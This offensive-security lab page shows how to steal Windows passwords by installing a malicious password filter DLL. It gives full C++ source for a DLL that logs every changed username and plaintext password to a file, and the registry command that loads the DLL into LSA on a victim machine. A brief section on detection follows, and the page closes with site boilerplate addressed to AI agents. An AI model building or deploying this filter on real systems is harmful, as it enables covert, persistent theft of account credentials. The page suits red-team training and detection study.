# Password Filter

This lab explores a native OS notification of when the user account password gets changed, which is responsible for validating it. That, of course means, that the password can be intercepted and logged.

## Execution

Password filters are registered in registry and we can see them here:

{% code title="attacker\@victim" %}

```csharp
reg query "hklm\system\currentcontrolset\control\lsa" /v "notification packages"
```

{% endcode %}

Or via regedit:

![](/files/-LKYbQZL4cQICa8p9TXc)

Building an evil filter DLL based on a great [article](http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html) by mubix. He has also kindly provided the code to use, which I modified slightly to make sure that the critical DLL functions were exported correctly in order for this technique to work, since mubix's code did not work for me out of the box. I also had to change the logging statements in order to rectify a couple of compiler issues:

```cpp
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <WinInet.h>
#include <ntsecapi.h>
#include <stdio.h>
#include <iostream>
#include <fstream>
using namespace std;

void writeToLog(const char* szString)
{
	FILE *pFile;
	fopen_s(&pFile, "c:\\logFile.txt", "a+");

	if (NULL == pFile)
	{
		return;
	}
	fprintf(pFile, "%s\r\n", szString);
	fclose(pFile);
	return;

}

extern "C" __declspec(dllexport) BOOLEAN __stdcall InitializeChangeNotify(void)
{
	OutputDebugString(L"InitializeChangeNotify");
	writeToLog("InitializeChangeNotify()");
	return TRUE;
}

extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordFilter(
	PUNICODE_STRING AccountName,
	PUNICODE_STRING FullName,
	PUNICODE_STRING Password,
	BOOLEAN SetOperation)
{
	OutputDebugString(L"PasswordFilter");
	return TRUE;
}

extern "C" __declspec(dllexport) NTSTATUS __stdcall PasswordChangeNotify(
	PUNICODE_STRING UserName,
	ULONG RelativeId,
	PUNICODE_STRING NewPassword)
{
	FILE *pFile;
	fopen_s(&pFile, "c:\\logFile.txt", "a+");

	OutputDebugString(L"PasswordChangeNotify");
	if (NULL == pFile)
	{
		return true;
	}
	fprintf(pFile, "%ws:%ws\r\n", UserName->Buffer, NewPassword->Buffer);
	fclose(pFile);
	return 0;
}
```

{% file src="/files/-LKYar165RvC0jK2VnPF" %}
Password Filter DLL
{% endfile %}

Injecting the evil password filter into the victim system:

{% code title="attacker\@victim" %}

```csharp
reg add "hklm\system\currentcontrolset\control\lsa" /v "notification packages" /d scecli\0evilpwfilter /t reg_multi_sz

Value notification packages exists, overwrite(Yes/No)? yes
The operation completed successfully.
```

{% endcode %}

![](/files/-LKYdBg-yZHIx4vB1yXP)

Testing password changes after the reboot - note how the password changes are getting logged:

![](/files/-LKYd9rtn7s7IilQ7bJq)

## Observations

Windows event `4614` notifies about new packages loaded by the SAM:

![](/files/-LKYg-F4MZr0zO6m4PsS)

Logging command line can also help in detecting this activity:

![](/files/-LKYh4fz4TjhdJDoMF3g)

...especially, if the package has just been recently dropped to disk:

![](/files/-LKYkkhF-apErnkYBrbS)

Also, it may be worth considering checking new DLLs dropped to `%systemroot%\system32` for exported `PasswordChangeNotify`function:

![](/files/-LKYhmcM2gJNkHc9BqP1)

## References

{% embed url="<http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html>" %}

{% embed url="<https://attack.mitre.org/wiki/Technique/T1174>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.ired.team/offensive-security/credential-access-and-credential-dumping/t1174-password-filter-dll.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
